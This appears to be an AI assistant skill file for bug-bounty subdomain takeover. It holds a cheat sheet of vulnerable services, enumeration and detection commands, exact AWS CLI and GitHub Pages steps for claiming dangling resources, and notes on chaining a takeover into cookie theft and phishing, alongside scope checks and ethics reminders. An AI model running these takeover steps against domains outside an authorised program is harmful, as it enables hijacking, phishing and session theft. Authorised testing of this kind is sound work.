Subdomain Takeover

A free critical if found within minutes of the misconfig.

When to invoke

Trigger phrases:

• "subdomain takeover"
• "dangling DNS"
• "can I take over X"
• "abandoned subdomain"

Pre-flight: is it in scope?

Many programs exclude subdomain takeovers due to abuse. Always check.

• If excluded → still document but don't submit
• If allowed → high-value finding

The vulnerability

CNAME points to a service that no longer hosts content for this domain:

abandoned.target.com  CNAME  target-old-bucket.s3.amazonaws.com
                                                ↑
                                The S3 bucket doesn't exist anymore.
                                Attacker creates a bucket with this name.
                                Now they control https://abandoned.target.com

Vulnerable services (cheat sheet)

Service	CNAME pattern	Fingerprint (error page)	Takeover steps
AWS S3	*.s3.amazonaws.com, *.s3-website-*.amazonaws.com	NoSuchBucket	Create S3 bucket with same name
GitHub Pages	*.github.io	There isn't a GitHub Pages site here.	Create repo with that name, enable Pages
Heroku	*.herokuapp.com	no-such-app	Create Heroku app with that name
Azure	*.azurewebsites.net, *.cloudapp.net	Error 404 - Web app not found	Create Azure Web App
Bitbucket	*.bitbucket.io	Repository not found	Create matching repo
Shopify	*.myshopify.com	Sorry, this shop is currently unavailable	Register Shopify shop
Tumblr	*.tumblr.com	There's nothing here	Register Tumblr blog
WordPress	*.wordpress.com	Do you want to register *.wordpress.com?	Register on WP
Squarespace	*.squarespace.com	various	Register matching domain
Pantheon	*.pantheonsite.io	The gods are wise...	Add domain in Pantheon
Fastly	service CNAME	Fastly error: unknown domain	Sometimes claimable
Cloudfront	*.cloudfront.net	varies — needs investigation	More complex
Surge.sh	*.surge.sh	project not found	Deploy with surge CLI
Netlify	*.netlify.com, *.netlify.app	Not Found - Request ID	Add custom domain
Vercel	*.vercel.app	various	Add custom domain
Tilda	*.tilda.ws	Please renew your subscription	Register on Tilda
Webflow	webflow CNAME	The page you are looking for doesn't exist	Investigate
Helpjuice	*.helpjuice.com	We could not find what you're looking for	Register
Helpscout	*.helpscoutdocs.com	No settings were found for this company	Register
Freshdesk	*.freshdesk.com	check	Domain unclaimed
Zendesk	*.zendesk.com	Help Center Closed	Register subdomain

Full list maintained at: https://github.com/EdOverflow/can-i-take-over-xyz

Step-by-Step Workflow

1. Gather targets

Use existing subdomain enumeration:

ALL_SUBS="loot/target.com/subs/all.txt"

# Resolve all to get CNAMEs
cat "$ALL_SUBS" | dnsx -silent -cname -resp -json > resolved-cname.jsonl

# Filter only those with CNAMEs pointing outside the target's domain
cat resolved-cname.jsonl | jq -r 'select(.cname != null) | "\(.host) -> \(.cname[])"' > cname-map.txt

2. Run automated detection

# subjack
subjack -w "$ALL_SUBS" -t 100 -timeout 30 -o takeovers.txt -ssl -v -c ~/tools/subjack/fingerprints.json

# nuclei takeover templates (best maintained)
nuclei -list "$ALL_SUBS" -t http/takeovers/ -severity high,critical -silent -o nuclei-takeovers.txt

# Or with httpx + grep approach
cat "$ALL_SUBS" | httpx -silent -status-code -title -body -no-color | \
    grep -iE 'NoSuchBucket|no-such-app|repository not found|sorry, this shop is currently unavailable|do you want to register' \
    > grep-candidates.txt

3. Manual verification (CRITICAL — don't auto-submit)

For each candidate, MANUALLY verify:

SUB="abandoned.target.com"

# 1. Confirm CNAME
dig +short "$SUB"
# Expect: <something>.s3.amazonaws.com or similar

# 2. Confirm 404/error page
curl -s "https://$SUB" | head -50
# Look for service-specific error message

# 3. Verify takeover is actually possible
# E.g., for S3:
aws s3api head-bucket --bucket "<bucket-name-from-cname>"
# If "Not Found" → bucket doesn't exist → claimable

4. Attempt the takeover (in your own AWS/account)

For S3:

BUCKET="<bucket-name-from-cname>"
REGION="us-east-1"

aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
aws s3api put-bucket-website --bucket "$BUCKET" --website-configuration '{
  "IndexDocument": {"Suffix": "index.html"}
}'

# Upload proof file
echo "Subdomain takeover PoC - claude-cybersecurity-skills" > index.html
aws s3 cp index.html "s3://$BUCKET/index.html" --acl public-read

# Verify
curl https://"$SUB"
# Should show your content!

For GitHub Pages:

1. Create a public GitHub repo named exactly `<account>.github.io` or matching CNAME
2. Add an index.html with PoC content
3. Enable Pages from the repo settings, set custom domain to the vulnerable subdomain
4. Curl the subdomain — your content appears

5. Document with proof

Take a screenshot of the served content on the vulnerable subdomain.

Impact framing (for the report)

Don't just say "I took it over." Frame:

1. SUBDOMAIN TAKEOVER  →  HOSTING ATTACKER CONTENT on app.target.com
2. + COOKIE SCOPE      →  Cookies set with domain=.target.com can be READ from subdomain
                          → Session hijack via JS on the taken-over subdomain
3. + OAUTH redirect_uri →  If OAuth allows any *.target.com → token theft
4. + CORS              →  If CORS reflects subdomains → cross-origin reads
5. + EMAIL spoofing    →  send emails "from" taken-over subdomain (looks legit)
6. + PHISHING          →  hosted phishing on real-looking domain

Output template

## High: Subdomain takeover of `abandoned.target.com` (CNAME → S3)

### Summary
`abandoned.target.com` has a dangling CNAME pointing to an unclaimed S3 bucket (`target-legacy-uploads.s3.amazonaws.com`). The bucket was claimed in our control AWS account, allowing arbitrary content serving on this target subdomain.

### Steps to reproduce
1. DNS lookup:

dig +short abandoned.target.com target-legacy-uploads.s3.amazonaws.com.

2. The S3 bucket `target-legacy-uploads` returns `NoSuchBucket`:

curl https://abandoned.target.com <Error><Code>NoSuchBucket</Code>...

3. We created `target-legacy-uploads` in our own AWS account (us-east-1), enabled static site hosting, uploaded a marker file.
4. Result — content served on the target subdomain:

$ curl https://abandoned.target.com <html><body>PoC by [researcher] - reported as part of bug bounty</body></html>

### Impact
- Attacker content served on `abandoned.target.com`
- Cookies scoped to `.target.com` (the platform's session cookie `session_token` uses this domain) are sent to the taken-over subdomain by browsers → cookie/session theft via JS hosted on takeover
- Phishing: legitimate-looking subdomain enables high-trust phishing emails ("Login to your account at abandoned.target.com")
- Brand damage if attacker hosts inappropriate content

### Remediation steps
1. Immediately remove the CNAME record for `abandoned.target.com`
2. Or reclaim the S3 bucket via AWS support if needed
3. We have NOT uploaded any malicious content; only the marker file. Bucket was deleted after PoC verification.
4. Audit other CNAMEs in DNS for similar dangling references (see attached list — 4 other suspected candidates).

### Bucket cleanup
Bucket `target-legacy-uploads` will be deleted in 24 hours from this report timestamp unless you'd like to claim it.

Cross-references

• [[subdomain-enum]] — feeds the candidate list
• [[continuous-monitoring]] — catch takeovers as they appear
• [[ato-chains]] — takeover + cookie scope = ATO
• [[scope-analysis]] — verify takeover is in scope before submitting

Common pitfalls

1. Submitting without manual verification. False positives from automated tools = N/A.
2. Submitting when program explicitly excludes takeovers. Save your time.
3. Not claiming the resource for proof. Some triagers want to see "real takeover", not just the dangling CNAME.
4. Causing harm. Don't host malicious content. Just a marker page.
5. Forgetting to release the bucket / repo after report acceptance. Bucket squatting is unethical.

Severity guide

Context	Severity
Takeover of subdomain with cookie scope .target.com	Critical
Takeover of subdomain enabling OAuth callback abuse	Critical
Takeover of internal-looking subdomain (high phishing potential)	High
Takeover of marketing/blog subdomain (low session impact)	Medium
Takeover of staging/test subdomain	Medium
Takeover via "could potentially" — without actual takeover	N/A

Always-rejected variant

• Reporting the dangling CNAME without the actual takeover (some programs require proof of control)
• Takeover that doesn't actually serve attacker content (e.g., bucket exists but in another acct)
• Takeover of out-of-scope assets
• "I think this is takeoverable" without claiming

Ethical reminder

• Take over only enough to prove the issue (single marker file)
• Don't host malicious content
• Don't keep the resource — release after triage confirms
• Document the cleanup steps in the report
• If the bug bounty program is paused or your access is revoked, release the resource immediately